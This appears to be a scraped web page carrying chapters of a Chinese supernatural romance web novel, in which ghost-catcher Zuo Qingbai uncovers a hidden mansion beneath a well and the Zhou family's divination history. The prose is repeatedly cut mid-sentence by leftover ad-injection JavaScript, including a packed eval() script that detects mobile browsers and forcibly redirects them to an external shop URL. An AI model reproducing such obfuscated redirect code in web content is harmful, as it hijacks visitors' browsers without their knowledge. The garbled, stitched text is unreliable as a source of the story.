左轻白下落的时候,耳边老有乱七八糟的声音传来,一会笑一会哭。左轻白转头一看,经常冷不丁在井的内壁看到一张发光的脸,但还没等她看清,她就又继续下落了。 左轻白不怕被摔死,因为她给自己画了一张高空护身符,落地的时候会有一张隐形弹簧床一样的东西接住她。 左轻白平安落到井底,出乎意料的是,井底不黑,也不狭窄,井底有光,左轻白环顾四周,发现照明的是一盏蜡烛。 左轻白嗅到一股奇怪的气味,是蜡烛燃烧发出来的,像是烧活物的气味。 于是左轻白大胆地做出了一个猜测:“人鱼灯?” 人鱼灯用从人鱼身上提取的油脂当燃料,可燃烧千年而不灭。 井底是个圆形广场,圆形广场的边缘均等地分布着十二口棺材,就好像是一个圆形表盘上的12个时间刻度一样。 这十二口棺材不知道躺在这里多久了,在昏暗的灯光下显得十分瘆人,好像随时能蹦点什么东西出来。 86. 方伯一定知道些什么 左轻白把十二口棺材全部推开,每一个棺材里都有一具干尸,个个大张着嘴,嘴里没有舌头。 这些干尸全身写满巫咒,不像是安葬在这里的,而像是从哪里搬运过来,特意放在这里布阵的。 也就是说干尸是阵法中的一个要素,要开启阵法的下一环,就要从这些干尸上找门路。 左轻白想了想,目光落在那盏人鱼灯上。 左轻白取下人鱼灯,端着人鱼蜡烛来到干尸旁,把人鱼蜡烛流的蜡滴入干尸大张的嘴巴里。 当左轻白把蜡滴进12具干尸的嘴里后,圆形广场中央的地面缓缓开启,地面上出现一个黑乎乎的地洞,地洞下是一个向下延伸的楼梯,楼梯很深,曲曲折折,看不到终点。 左轻白把人鱼灯放回原处,走下了那个通往地底的楼梯。 左轻白一路往下,不知走了多久,终于走到了最底端,接着左轻白继续顺着通道往前走。 走出通道后,忽然前方豁然开朗,一个宽敞开阔的中式庭院出现在左轻白眼前,庭院的牌匾上写着两个字:周府。 “周府?”左轻白念出了声,“不应该是宋府吗?难道这是隐藏在宋辉民家下面的另一个宅子?这是……宅中宅?” 这个周府看上去气派又亮丽,不输上面宋辉民的家,宅子的主人一定非富即贵。 左轻白敲了敲周府的大门。 一个管家模样的人打开了门,一看到左轻白就热情地迎接:“哎哟,您就是今天主人的贵客吧?快进来!” 管家穿着古代的衣服,是个古人。 左轻白莫名其妙地被管家拉进了周府。 管家周身弥漫着鬼气,他是个披着人皮的鬼,但左轻白没有着急收他,而是将计就计,说道:“是啊,我就是今天的客人,你们主人在哪里?” 管家笑道:“我们主人还没回来,我带贵客去园子里走走。” “好。”左轻白从善如流。 古代的达官贵人是真懂得享受,这园子是苏式园林的风格,布置得诗情画意,处处曲折连环,一步一景,美不胜收。 园子里有个荷花池,池里的荷花开得正好,左轻白站在池边欣赏荷花,管家突然说:“贵客要是喜欢,我下去摘一朵来。” “好啊。”左轻白并不拒绝,笑道。 管家下了池塘,摘下一朵最漂亮的荷花,然而正当他转身想往回走时,突然池塘里蹦出一条巨大的鲤鱼,这鲤鱼比狗还大。 普通的鲤鱼没有牙齿,然而这条鲤鱼却有着一口尖牙,它露出尖牙一口咬上管家的脑袋,生生把管家的半个脑袋都咬掉了。 管家没了半边脑袋,缺口的地方鲜血淋漓,然而他没死,他就这样顶着半边脑袋,手捧着那朵刚摘下的荷花,把花递给左轻白。 左轻白从只剩下半边脑袋的管家手里接过荷花,她并不害怕,像是什么都没发生过一样问管家:“你们主人回来了没有?” “还没有。”管家乐呵呵地说,“咱们继续逛园子吧。” 左轻白继续跟着管家逛园子,逛着逛着,居然来到了祠堂。 左轻白走进了祠堂。 祠堂里供奉着周府历代祖先。周府有200年历史,共传了7代,每一代人丁都不兴旺,有些还是单传,跟别的家族不一样的是,周家女子生下的孩子也姓周,周家女子和她们所生的孩子都在祠堂里供奉着。 左轻白一个牌位一个牌位地看过去。第一个牌位,也就是周府的第一代祖先叫周如森,而最后一个牌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 位上,赫然写着周夙的母亲周凡灵的名字。 也就是说最后一代的周家人是周夙。 “天啊!”左轻白惊讶出声。 左轻白察觉到周夙着实不一般,他既是捉鬼师家族舒家的人的转世,还是这个古怪的家族周家的传人,不光如此,他还在跟一个500年的神通鬼谈恋爱!buff叠满了! 路回知道他哥这么牛逼不? 左轻白拿出手机正想跟路回分享这个消息,然而手机在这下面没信号,左轻白只好悻悻地收起来。 左轻白问管家:“你家主人是周如森不?” 管家说:“我不知道我家主人叫什么名字,只知道姓周。” 左轻白:“……” 左轻白心想你这不废话吗,这里是周府,不姓周还能姓什么? 左轻白想起被运到井下的方伯,又问:“刚才有没有一个穿着打扮风格跟我差不多,年纪比较大,头发花白的老人来这里?” 管家说:“有的,那也是我们的贵客。那位贵客年纪大了,不能在外面受风,我请他去客厅休息去了。” 于是左轻白捂着自己的额头说道:“哎哟,我身体不好,在外面逛了一会就着凉了,你也带我去客厅休息吧。” “好。”管家立即答应。 管家带左轻白来到客厅,方伯果然在客厅里坐着,他的周围站了一圈头发遮住脸、长到脚的小鬼,这些小鬼没伤害方伯,只是看着他不让他跑。 只有半个脑袋的管家走进客厅,管家的样子太骇人,方伯差点被吓晕过去。 “方伯。”左轻白叫了方伯一声,朝他使了个眼色。 关于这个宅中宅,左轻白断定方伯一定知道些什么,不然这些鬼抓他干嘛? 87. 这个骗子 管家给左轻白和方伯上茶,然后笑呵呵地对两人说:“二位在这里休息会,我家主人要回来了,我去做些准备。” “好。”左轻白道。 管家走后,左轻白立即走近方伯,方伯身边那三个小鬼想阻拦左轻白,左轻白瞪了一眼它们,拿出一张符纸,轻而易举地把它们给收了。 方伯目瞪口呆。 “方伯。”左轻白坐在方伯身边。 方伯有些害怕地缩了缩身子。 “你不用害怕。”左轻白说,“我是来救你的。” 方伯看着左轻白,微微点了点头,不知道是吓坏了还是怎的,他不说话。 “他们为什么抓你?方伯,你知道些什么对不对?”左轻白开门见山地问。 “左小姐,你到底是什么来路?怎么会有这本事?”方伯终于开口了,小心翼翼地问。 “我是一名演员,也是一名捉鬼师。”左轻白说。 “从哪来的捉鬼师啊?”方伯问。 “从一座山上。” “什么山啊?叫什么名字?” “嗯……是一座没有名字的山。” 左轻白一把抓住方伯的胳膊,说:“方伯,我从哪里来不重要,重要的是你快告诉我这个宅中宅的来历,我好彻底封锁它,否则宅中宅的恶鬼都要跑到上面去了,到时候你的东家宋辉民先生就会有危险!” 方伯看着左轻白,问:“你真想知道?” “想。” “那你跟我来。” 方伯带着左轻白走出客厅,走入长廊,又回到了园子里。 “我们去哪?”左轻白问。 “去祠堂。”方伯似乎对这里很熟。 方伯在前面带路。 “方伯,你对这里那么熟,你来过这里?”左轻白问。 “嗯。周家的最后一任小姐,周凡灵小姐,是我的恩人。” “周家到底是干什么的?”左轻白着急地问。 方伯回过头,冲着左轻白神秘一笑,说:“左小姐,你问我一个问题,就要先回答我一个问题。” “你想让我回答你什么?” “左小姐,你从哪里来?说实话。” 左轻白想了想,她没有老老实实地承认自己是从异世界来的,而是留了个心眼,撒谎道:“好吧,我说实话,我其实是一只鬼的转世,转世前我叫小若,住在大雪里的鬼村。” 方伯笃定地摇头,“不对,鬼不能转世。” 左轻白心里打了个激灵,心想不对,方伯既不是鬼也不是捉鬼师,他怎么知道鬼不能转世? 左轻白昂首挺胸地说:“你信与不信,这就是实话。该到你回答我的问题了,周家到底是干什么的?” “周家是巫师家族,擅长占卜。”方伯说。 方伯道:“该我问你了,左小姐。我看娱乐新闻,说你跟一个叫金绮月的明星关系很好,你是真心待她好吗?” 左轻白眯了眯眼,意识到很不对。她笑着说:“哟,方伯一把年纪,还关注娱乐圈那点事呢?” “打发时间而已。” “我跟金绮月很投缘,我当然是真心拿她当姐妹。”左轻白笑眯眯地说。 “该我问你了。”左轻白道,“你刚才说周家是巫师家族,擅长占卜,那这个家族占出来的最重要的一卦是什么?” 方伯低垂着眼说:“占出来最重要的那一卦是,周家将会诞生一个真正的捉鬼师,他会改变这个世界捉鬼师断代的现状。” 方伯用半开玩笑的语气问:“左小姐,你不会就是这个捉鬼师吧?难不成你是周家的孩子,你应该姓周?” “周家将会诞生一个真正的捉鬼师……”左轻白自言自语,琢磨着方伯的这句话。突然,左轻白大惊失色,出声道:“周夙!是周夙!周凡灵生出了周夙!周夙是捉鬼师!” 周夙的前世是捉鬼师舒瑾安,如果周夙带着前世的记忆的话,那他可不就是个真正的捉鬼师吗? 左轻白快步上前,追上方伯,边追边问:“你认识周凡灵,那你一定也认识周夙吧?” 左轻白正想抓住方伯的胳膊,哪知她一伸手,却抓了个空,一眨眼,方伯从左轻白面前不见了,瞬移到了远处的一棵大榕树下,静静地等着左轻白过去。 左轻白朝大榕树下跑去,那棵大榕树盘根错节,枝叶茂密,树枝上还挂着柚子般大的果实……等等,不对,榕树哪来的柚子般大的果实? 不等左轻白细想,她已经来到了榕树下,这时她才看清,榕树上挂着的不是果实,而是一颗一颗干尸的头,跟那十二口棺材里的一样,全都大张着嘴,嘴里没有舌头。 左轻白手中幻化出金色巨剑,她用剑指着“方伯”,厉声说:“你是谁?” “方伯”诡异地一笑,从自己脸上摘下了一张 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面具。 他的真实面目露了出来,他的脸跟路回有五分相似,一样英挺帅气,不同的是他的气质比路回阴郁得多。 是周夙,他手里那张面具是傩面具,周夙用傩面具冒充方伯。 “傩面具?”左轻白惊讶道,“你认识归延?归延帮你做的?” “不认识。”周夙冷冷地说,他的声音跟他的人一样,阴沉沉的,像阴雨天散不开的乌云。 “那怎么会……” “我借用了你的名义。”周夙说,“我跟归延说你抓鬼的时候遇到了危险,急需傩面具救命,让他帮忙做几个。” “你让他做他就做?他怎么还那么傻?” “他一开始也不信我,但是……”周夙抬起手,随意地展示了几手捉鬼术,说道:“我就跟他展示了几手捉鬼术,他认出我的捉鬼术跟你的是一样的,就相信了我。” 左轻白剑尖对准周夙,“你前世的记忆果然没忘,你是捉鬼师舒瑾安!” 周夙不解地望向左轻白,“左小姐,我真是对你越来越好奇了,你到底是谁,怎么知道这么多?” 左轻白眼珠子骨碌一转,撒谎撒到底:“我早说了,我是鬼村的小若转世,跟金绮月同村。当年舒家那么有名,我怎么可能没听说过?” “绮月信你,我不信你。你一个捉鬼师,撒谎呆在绮月身边,你想干什么?”周夙阴沉沉地问。 左轻白故意抬高音量,说:“这话应该我问你!你一个捉鬼师,费尽心机成为绮月的男朋友,你想干什么?” 周夙眯了眯眼,“你是真以绮月的同村自居了?” “我本来就是。”左轻白谎撒多了就熟练了。 周夙冷笑一声:“骗子。” 周夙说完,拉了拉一根树枝,一颗干尸人头掉了下来。掉到地上后,干尸人头迅速变得丰满,甚至长出脖子、躯干、四肢,变成一个人形活物。 干尸站起了起来,只可惜它的脸还是模糊的。 周夙从怀中掏出另一个傩面具,这也是他骗归延做的,他把这张傩面具戴在了干尸脸上,干尸立即变成了左轻白的样子。 “左轻白”朝左轻白露出一个诡异的笑。 “你上去吧,代替她活。”周夙对干尸说。 接着,周夙把头转向左轻白,用冷得像冰块一样的目光看着她,说:“而你,这个骗子,就永永远远呆在这里吧。” 88. 这是他的责任 周夙说完,他身后大榕树的树干上突然出现一张人脸。 人脸张开大嘴,露出一个黑乎乎的树洞,树洞刮来飓风,把左轻白吸了进去。 “啊!”左轻白被飓风卷起,大叫出声,叫的时候她还不忘质问周夙:“舒瑾安!你是个捉鬼师!为什么修炼鬼术!你对得起祖师爷吗?” 左轻白叫的是周夙前世的名字舒瑾安,周夙的脸色明显变了一下,冰冷的脸上少见地露出了复杂的神情。 这棵怪里怪气的榕树从里到外透着邪气,很明显是周夙,也就是舒瑾安用鬼术制造出来的。 舒瑾安有学习鬼术的途径,他们舒家天女城的藏书阁里收藏着鬼术秘籍,但这些秘籍只是为了让舒家弟子更了解鬼的手段,避免跟鬼对战时因不了解对方落入对方陷阱,而不是给他们修炼用的。舒家有规定,舒家弟子只许翻阅鬼术秘籍,严禁修炼,违抗者处以五马分尸的极刑。 舒瑾安身为捉鬼师,却私自修炼鬼术,左轻白说得很对,他对不起祖师爷。 左轻白被吸入树洞中,榕树树干立即合上,这棵树把左轻白吞了下去。 左轻白在黑不隆冬的空间里一直下落,直觉告诉左轻白不能任自己这么下落下去,下面估计有不好的东西。于是左轻白抽出一张飞行符,飞行符骤然变大,变成一张飞毯,接住左轻白,带着左轻白飘浮。 左轻白拿出手机,打开手电筒功能。手机虽然没信号,但其它功能还可以用。 手电筒一开,左轻白就看见了黑暗里盘成一团的蝙蝠群,每一只蝙蝠都长着一张扭曲的人脸,盯着左轻白流着口水。 左轻白咬牙切齿道:“都什么玩意这是?舒瑾安,你好好的一个捉鬼师,为什么要把自己搞得跟鬼一样阴森?” 左轻白在飞毯上画了一张驱鬼符,那些蝙蝠便不敢靠近左轻白。 突然,左轻白看到有一个地方的蝙蝠群抱成一个大大的球体,这个大大的球吸引着越来越多的蝙蝠飞过去抱团。 直觉告诉左轻白这个“球”里有东西,这东西会吸引蝙蝠。 左轻白手中出现出金色巨剑,金色巨剑变形成一把长弓,左轻白利落地举起长弓,朝这个“球”射了一箭,抱成团的蝙蝠立即被打散,被这群蝙蝠簇拥在中央的东西露了出来,是个人。 左轻白惊道:“方伯!” 在这个“球”中心的,正是左轻白要找的方伯。 左轻白口中念着咒语,施展本领,一个金色大网把方伯网住,送到左轻白的飞毯上来。飞毯又变大了些,可以容纳两个人。 方伯奄奄一息,身上全是被蝙蝠撕咬的伤,伤口流着血,深得能看见肉,触目惊心。 这次是真的方伯,不是假扮的。 “方伯,你再撑一撑,我马上想办法出去。”左轻白说。 “姑娘……”方伯艰难地开口,“你是什么人啊?” “我是一名捉鬼师。”左轻白回答。 方伯听到“捉鬼师”三个字时,眼睛一亮,他情绪激动,竟咳出一口血来。 “你……你是捉鬼师?”方伯惊喜道,“你也是周凡灵小姐的孩子?” 左轻白摇摇头,“不是。” “不可能不是。只有周家才能孕育出捉鬼师,改变这个世界捉鬼师断代的现状。”方伯认真道。 “这是周家的占卜吗?”刚才周夙说周家是巫师家族,周家占出来的最重要的一卦就是周家会诞生一个真正的捉鬼师。 “没错,周家是巫师家族,擅长占卜算卦。算出这一卦后,周家一直在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 等待这个捉鬼师的诞生,到了周凡灵小姐这一代,周凡灵小姐又算出了新的卦象,新卦象告诉她,她必须要与一个叫路宗锋的人结合,才能生出捉鬼师。路宗锋这辈子会有两个孩子,一个是捉鬼师,一个是助道者。” 左轻白惊讶万分,对上了,全对上了,周夙是捉鬼师,路回是助道者!这个巫师家族的占卜真这么厉害? 周凡灵跟路宗锋根本没有感情,但周凡灵宁愿当小三也一定要生一个路宗锋的孩子,就是为了顺利孕育出捉鬼师。周凡灵拼死救下路回,是因为她早就知道路回是助道者,她或许听说过助道者可以帮助捉鬼师,但却不知道要异性相助。 为什么周家对捉鬼师这么渴望? 有疑问就问,左轻白问方伯:“为什么周家一定要生出捉鬼师?” 方伯听到这个问题,发出长长的一声叹息,说:“因为我们这个世界被恶鬼折麽太久了啊!它们太猖狂了。” 左轻白喃喃道:“只有鬼而没有捉鬼师,就好像山上没老虎,野猪和猴子泛滥成灾。” 某种程度上讲,这跟生态失衡一个道理,当一种东西没有天敌克制的时候,这种东西就会成为灾祸,想要解决这个问题,最好的方法就是把它的天敌弄回来。 500年前金绮月灭了舒家满门,而这个世界的捉鬼师传承制度又是缺乏弹性的家族制,以至于捉鬼术没能传承下来,导致这个世界捉鬼师断代500年,这个世界的恶鬼没有天敌,没人制约,所以无法无天。 “周夙的诞生与其说是周家好不容易盼来的,不如说是整个世界好不容易盼来的。”说到这里,方伯愤愤道:“我们所有人都期待周夙是个英雄,他本该像个救世主一样杀死恶鬼、造福世界,这是他的责任,结果呢?他却……他却……” 89. 忘了他的使命 方伯重重地叹了一声气,说:“他却为了一个女鬼,忘了他的使命!” 左轻白问:“您说的女鬼是金绮月吗?” “谁?” “就是那个女明星,金绮月。” “我不关注娱乐圈那点乱七八糟的事,也不关注明星,我不认识什么女明星,但我亲眼见过那个女鬼害人的样子!而周夙,他非但不抓她,竟然还帮她清理现场、收拾残局,就像一条狗一样跟在她身边!哪里有捉鬼师的样子?”方伯愤怒地说。 左轻白听明白了,金绮月害人时弄出的烂摊子是周夙帮她收拾的,被方伯看到了。 周夙对金绮月还真特么死心塌地。左轻白心想。 方伯又说:“周小姐对我有恩,她不在了,我不能不管她的孩子,我不能眼睁睁地看着她的孩子堕落下去,所以我苦口婆心地劝周夙,一直劝啊劝……” “等等等等……”左轻白却打断了方伯的话,“方伯,我们没有时间了,我们必须马上离开这个宅中宅,您是怎么劝周夙的咱们先不聊,上去再说,现在您要做的是告诉我这个宅中宅的来历,我好想办法带您逃出去。” “哦,哦……”方伯把打开的话匣子又关上了,他话题一转,从聊周夙变成了聊周宅:“这个宅子是周家的祖宅,一开始是个凶宅,传说有个富商选了块地,准备给自己建宅子,但在动工的第一天就从地底下挖出了12具棺材。” 左轻白想起井下那12具躺着干尸的棺材。 方伯道:“富商很害怕,便请周家的老祖宗周如森算了一卦。周如森是有名的巫师,擅长占卜,周如森算出,这宅子一旦开工就不能停下,否则富商必会横死。富商很相信周如森,他不敢停工,赶着工期把宅子建完了。” 左轻白问:“建完之后富商住进去没有?” “当然没有,富商不敢住,就把宅子送给了周如森,自己带着家人搬去了外地,周如森住进了这座宅子。” 左轻白笑道:“那是周如森占便宜了,白捡一个豪宅。” “不能这么说,因为这宅子是真的有怪东西。还记得动工第一天挖出来的12具棺材吗?周如森在宅子里挖了口井,把12具棺材放在井下,但棺材里的东西仍然不安分,它们一天出来一个,轮流跑到井上去找周如森。” 左轻白想了想她看到的棺材里那些干尸的样子,判断那些东西并不是鬼,便问:“棺材里的干尸是什么东西?看着不像鬼。” 方伯回答:“现在看着是干尸,但几百年前它们不是干的。” “那是什么?” “是没有死透的人。这是一种邪术。” “什么邪术啊?” “古时候总有人想求长生不老,左小姐知道不?” “知道啊。” “有12个人想长生想疯了,就到处搜集乱七八糟的邪术,聚在一起乱学、乱练。” “这12个人乱学乱练那些邪门歪道的东西,长生没求成,反而把自己练成了半死不活的怪物?”左轻白猜到了。 “没错。左小姐很聪明。” 左轻白翻了个白眼,心想果然还是要遵循自然规律,不要乱来。古时候那些皇帝追求长生,找方士炼制乱七八糟的丹药,结果还不是一个比一个死得早。 左轻白问方伯:“这些玩意跑上去找周如森干什么?玩啊?” 方伯说:“不是玩,就是经常送些吓人的东西吓唬周如森。” “比如?” “比如用人的后背做的板凳啦、用人腿做的秋千啦。” “那是真够吓人的。” “周如森没理它们,该怎么生活就怎么生活,这些怪物每上来一次,周如森就想办法把它们骗回去一次。” “那多累啊,那玩意杀不死吗?” “周如森只会占卜,其它本事不会,他不知道该怎么杀死那些玩意,直到有一个女人出现,这个问题才解决。周如森在一个下雨天偶遇了一个女人,对她一见倾心,很快,他们相爱了,周如森开始筹备结婚。结婚之前,女人去过一次周如森的家。” “是这个女人帮周如森解决掉了那些怪物?”左轻白问。 “是。女人很有本事,把这些半死不活的人变成了干尸,让它们不再骚扰周如森。但女人这么有本事,反而使周如森感到害怕。周如森占了一卜,他算出这个女人会毁了周府,算出这一卦后,周如森立即反悔,他没有按照约定迎娶女人,而是另娶了他人” “怎么这样啊?就因为一个占卜?”左轻白愤愤不平。 “那女人是鬼,不然她哪来的本事解决怪物?”方伯却说。 左轻白马上闭嘴。 “周如森占卜是偷偷占的,女人不知道这回事,所以女人以为周如森抛弃自己是因为嫌弃自己是鬼,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918265|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪眼汪汪地跑去周府质问。周如森本来不知道她是鬼,她这一质问,反而被周如森知道了真相,周如森吓得不轻。女人看到周如森害怕的样子,心如死灰,远走他乡。走之前,女人在周府下了一个鬼咒。周如森起初不知道鬼咒的作用,但过了几年,周府渐渐壮大,开始有了很多家丁和仆人后,周如森突然发现,周府的家丁和仆人会在某天晚上突然暴毙,第二天早上又突然活过来,活过来之后这些家丁和仆人都变得不太一样了。” 左轻白想了想,说:“是那个鬼咒搞的鬼。周府的家丁和仆人死了就是真的死了,第二天早上他们并没有活过来,而是死了之后变成鬼继续呆在周府。” 左轻白自言自语道:“这女人厉害。有这种本事的鬼,除了金绮月那种神通鬼外,就只有仅次于神通鬼的夜叉鬼了。” 方伯听到左轻白的话时,忽然看了一眼左轻白,“原来她叫夜叉鬼吗?” 方伯又道:“周如森也发现了周府的家丁与仆人都变成了鬼,而且这些鬼还赶不走;就连周府池塘里的鱼、后院里的树,都变得鬼里鬼气的。周府变成了一个可怕的鬼宅,周家就住在这个鬼宅里。周如森想了许久才想明白那女人的心思,女人或许是这么想的:你不是嫌弃我是鬼,不想让一个鬼陪在身边吗?我偏要把你身边的人都变成鬼,我要让鬼围绕着你。” 听到这里左轻白恍然大悟,带左轻白逛园子的那个鬼管家是周如森的管家,他口中要等的主人就是周如森。周如森的仆人都被女鬼变成了鬼。 左轻白道:“这是那个女鬼的报复?这样一来,不就恰恰验证了周如森的占卜——女鬼毁了周府吗?等于是周如森自己促成了占卜结果啊。” “这就是占卜的可怕之处,你可以知晓命运,却永远无法改变它。” “后来呢?周家祖祖辈辈就一直在鬼宅里住着?”左轻白问。 “是的。” “鬼宅一开始不应该在地面吗?是什么原因沉下来了呢?”左轻白继续问。 “是因为这个。”方伯说着,艰难地用受伤的手从怀里掏出一个小盒子。 方伯打开小盒子,里面躺着一块寒光四射的金属碎片。 左轻白惊呼:“弥月刃碎片!” 同时,左轻白贴身携带的弥月刃刀柄跳了出来,发出锐鸣声,碎片像活了一样从盒子里飞了出来,与左轻白的弥月刃刀柄合为一体。 90. 捉鬼师小姐不会想反悔吧 方伯说:“这是周如森偶然所得,他发现这块碎片中蕴涵着巨大能量,能量大到可以把这座宅子藏起来。” “宅子是周如森故意藏到地底的?”左轻白好奇。 “是。” “为什么?” “因为多年后,那个女鬼差人送了封信来,说她想回来看看如今周府一家过得怎么样了。周如森很害怕,他决定带着家人躲起来。” 左轻白恍然大悟,“所以,周府沉到地底,是周如森为了躲避女鬼干的?” 方伯点了点头。 “周家后代一直生活在地底?”左轻白问。 “是的,他们每次离开地底,目的只有一个——繁衍后代,直到繁衍出那位拯救世界的捉鬼师为止。” “终于,捉鬼师周夙出现了,可他不干正事,反而去当一只鬼的舔狗。” “对,他怎么能这样……”方伯又开始愤怒。 “那……”左轻白用手指了指上面,问:“上面那个宅子呢?” “是周府沉到地底后,那个女鬼在原来那块地上建造的。” 左轻白恍然大悟:“原来上面那宅子的设计师是一只女鬼啊,难怪,我就说那宅子的布局有问题。它的布局是截教落魂阵的变形,凶得很!原来是女鬼设计的,这就合理了,但她为什么要设计这么一座宅子在上面?” “这片碎片的能量护着周宅,让那个女鬼无法靠近,女鬼不甘心,就造了座凶宅在上面,死死压住周宅。”方伯口中的凶宅就是宋辉民住的中式豪宅。 “可我还观察到凶宅的阵眼被高人动过,把宅子的凶煞之气化去了,这个高人是哪来的?”左轻白一层一层解开谜团。 “这个高人就是周夙。他也算难得干了件好事,如果他不动阵眼的话,宅子现在的主人,也就是宋老先生,或许活不到现在。”方伯在提起周夙时用的是一种鄙夷的语气,看得出他非常讨厌这个不负责的捉鬼师。 左轻白可算把周府的来历弄了个明明白白。 周府里面还有鬼,但左轻白不着急收鬼,方伯受了伤,他这么大年纪撑不了多久,左轻白决定先把方伯送上去,再回周府收鬼。 左轻白抓起方伯的一条手臂,说:“方伯,坐稳了。” 方伯惊讶道:“姑娘,你找到出去的办法了?” 左轻白举起手里的弥月刃刀柄,方伯给她的那枚碎片牢牢粘在上面。 左轻白说:“既然这座周宅是靠弥月刃碎片的力量沉到地底下来的,那么这片碎片就是穿梭地上地下的钥匙。我不用找方法,我手握钥匙,这就够了。方伯,坐稳了!” 说完,左轻白催动弥月刃碎片的力量,弥月刃碎片爆发出刺眼的白光,方伯只觉得眼睛生疼,疼得睁不开眼,仿佛有千百根刺在刺他的眼皮。 方伯听到耳边传来“呼呼”的风声,斗转星移之间,风声骤然停止,方伯似乎感觉到自己的脚落到了地面,这时他才敢小心翼翼地睁开眼,果然,他脚下踩着草地,他已经离开地下,回到了地面,这里不是周府,这是宋辉民的中式豪宅。 方伯先是面露惊讶,然后抓住左轻白的手喜极而泣。 左轻白吓得连忙问:“方伯,你哭什么呀?” 方伯抹着泪说:“姑娘,你真有本事,你才是真正的捉鬼师,周家辛苦等待的应该是你这样的英雄!” 左轻白被“英雄”这个头衔吓了一大跳,连连摆手道:“别别别,别给我戴高帽,对我来说捉鬼师只是个职业,跟老师啊、警察啊、演员啊,没什么区别。” 方伯还想再哭,路回跑来了。 “路回?”左轻白一看路回来了,急了,“不是让你呆在楼里吗?别出来,外面危险。” 左轻白看了一眼方伯,一把将方伯塞到路回怀里。 “不过你来得正好。”左轻白说,“方伯受伤了,你帮我送他去医院。” 说完,左轻白转身,那口通向地底的枯井就在一旁,左轻白二话不说又想下井。 路回一把抓住左轻白的手臂,看脸色似乎很不高兴。 “你又想去哪?”路回问,他抓左轻白抓得紧紧的。 左轻白跺着脚急道:“去抓鬼啊!下面的鬼我还没弄呢。” “我去拿个鱼粮的工夫,你一句话不说把我扔在那里,然后就消失了?打你电话都打不通。” “下面没信号嘛。” “借口。”路回气得咬牙切齿,“我生气了。” “你生气不重要。”左轻白苦口婆心地说。 “什么叫我生气不重要?”路回瞪大了眼。 左轻白指了指那口井,说:“下面那些东西生气了,那才麻烦呢。趁着它们还没跑出来,我去把它们解决掉,要是都跑出来了,伤害到外公,你担待得起吗?” 左轻白提到宋辉民,路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948678|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回这才松了手,但他依然咬着后槽牙,死死盯着左轻白。看来这次路回是真生气了。 “你去吧。”路回不情不愿地说,“不过你得答应我,回来之后任我处置。” 此时的左轻白还没意识到事态的严重性,满不在乎地说:“行,我答应你,任你处置。” 左轻白大大咧咧地走到井边,跳下去之前她嘱咐路回道:“记得送方伯去医院啊!” 说完她就头也不回地下去了。 路回再一次被她气死。 你就去吧你。路回在心里说。 路回让宋家的司机把方伯送到了医院,方伯一路上都在叨叨左轻白是救世主、周家怎么没生出她这样的孩子……司机听得一头雾水、一脸懵逼,一度以为方伯得了老年痴呆。 另一边,金牌捉鬼师左轻白行动迅速,她把藏在地底周宅里的鬼,那个管家啦、那些仆人啦、还有那些鱼啦树啦都给收了。这些鬼都是普通小鬼,没有特别厉害的角色,收它们对左轻白来说易如反掌。 地底下的周宅虽然还在,但只要周宅里没了鬼,就不会出现小鬼想要突破屏障进入宋辉民豪宅的情况,所以下面周宅的鬼一除,保护的是上面宋辉民的豪宅。 左轻白除完鬼回到住处时都已经晚上0点了,这个中式豪宅太大,搞得左轻白在路上浪费了不少时间。 左轻白回来时,路回穿戴整齐坐在沙发上等着左轻白。路回黑着一张脸,好像比刚才在井边时更生气了,可能回来之后他越想越气,心想只是上楼拿个鱼粮的工夫,左轻白怎么敢不打招呼就把他扔下? 更让路回生气的是,左轻白回来之后像没看见他似的,喝了口水就去浴室洗澡,洗完走后她穿着睡衣慢悠悠地走过来,路过路回时还“咦”了一声,问:“你在家怎么也穿得这么整齐,为什么不换睡衣?” “你是完全没有意识到自己的错误吗?”路回语气中压抑着怒意。 左轻白知道路回说的是什么,但她依然厚着脸皮,恃宠而骄、理直气壮道:“当时情况紧急嘛。” 路回心想有没有搞错,你就不会服个软道个歉? 路回盯着左轻白看了半晌,后槽牙都要咬烂了。 然而左轻白丝毫没有悔过的意思,路回后背往沙发上一靠,气急反笑。路回朝左轻白勾了勾手,冷笑着说:“刚才你答应过我,回来之后任我处置,捉鬼师小姐不会想反悔吧?” 91. [锁] [此章节已锁] 左轻白倒也大方,她走到路回跟前,搂着路回的脖子,跨坐在路回腿上。 “我说话从不反悔。”左轻白贴着路回的嘴唇说。 左轻白刚洗完澡,穿着松松垮垮睡衣,一副放松的样子,而路回穿戴整齐,正襟危坐,两者形成强烈反差。 左轻白作势去亲路回,路回眉头一拧,把头扭到一边。 “真生气啦?”左轻白问。 左轻白委屈道:“是你叫我过来任你处置的,现在我人过来了,你怎么不动啊?” 路回看着左轻白那张脸,一肚子气没处撒,只能继续咬后槽牙。 “败给你了。”路回道。 路回是想发脾气,大发特发,但看到左轻白那张脸在眼前晃时,他却不自觉地心软了几分。 喜欢的人跟春.药没什么区别。 